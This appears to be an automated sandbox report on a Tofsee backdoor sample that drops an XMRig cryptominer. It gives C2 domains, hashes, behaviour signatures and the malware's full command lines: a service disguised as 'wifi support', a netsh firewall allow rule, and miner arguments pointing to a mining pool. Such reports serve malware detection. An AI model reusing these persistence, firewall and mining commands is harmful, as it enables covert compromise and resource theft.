Analysis

  • max time kernel
    151s
  • max time network
    160s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2022, 16:29

General

  • Target
    file.exe
  • Size 192KB
  • Sample221201-tzaf5abb8w
  • SHA256 7f2449827262abc18421245fb8d65b7eee8dd441baf44742266d9d7633cc079e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\prfgcaho\
      2⤵
        PID:972
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\atqypicz.exe" C:\Windows\SysWOW64\prfgcaho\
        2⤵
          PID:1516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create prfgcaho binPath= "C:\Windows\SysWOW64\prfgcaho\atqypicz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description prfgcaho "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start prfgcaho
          2⤵
          • Launches sc.exe
          PID:1096
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1768
      • C:\Windows\SysWOW64\prfgcaho\atqypicz.exe
        C:\Windows\SysWOW64\prfgcaho\atqypicz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1564
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1080
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1584

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            atqypicz.exe

            • Path C:\Users\Admin\AppData\Local\Temp\atqypicz.exe
            • Size 13.2MB
            • SHA256 8f3122c6d2a6ef26aa995ae872c60be6f83b288852e12eae96d991407b539fd1
            • MD5 SHA1 SHA512 SSDEEP

            atqypicz.exe

            • Path C:\Windows\SysWOW64\prfgcaho\atqypicz.exe
            • Size 13.2MB
            • SHA256 8f3122c6d2a6ef26aa995ae872c60be6f83b288852e12eae96d991407b539fd1
            • MD5 SHA1 SHA512 SSDEEP

            memory/1080-87-0x0000000000240000-0x0000000000250000-memory.dmp

            memory/1080-84-0x00000000001E0000-0x00000000001E6000-memory.dmp

            memory/1080-97-0x00000000002F0000-0x00000000002F7000-memory.dmp

            memory/1080-94-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1080-93-0x00000000055B0000-0x00000000059BB000-memory.dmp

            memory/1080-90-0x0000000000290000-0x0000000000295000-memory.dmp

            memory/1080-81-0x0000000001950000-0x0000000001B5F000-memory.dmp

            memory/1080-79-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1080-78-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1080-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1080-70-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1564-74-0x000000000059B000-0x00000000005AC000-memory.dmp

            memory/1564-75-0x0000000000400000-0x0000000000466000-memory.dmp

            memory/1584-100-0x00000000000D0000-0x00000000001C1000-memory.dmp

            memory/1584-102-0x00000000000D0000-0x00000000001C1000-memory.dmp

            memory/1992-54-0x00000000005FB000-0x000000000060C000-memory.dmp

            memory/1992-55-0x0000000000230000-0x0000000000243000-memory.dmp

            memory/1992-56-0x0000000076141000-0x0000000076143000-memory.dmp

            memory/1992-57-0x0000000000400000-0x0000000000466000-memory.dmp

            memory/1992-65-0x00000000005FB000-0x000000000060C000-memory.dmp

            memory/1992-66-0x0000000000230000-0x0000000000243000-memory.dmp

            memory/1992-67-0x0000000000400000-0x0000000000466000-memory.dmp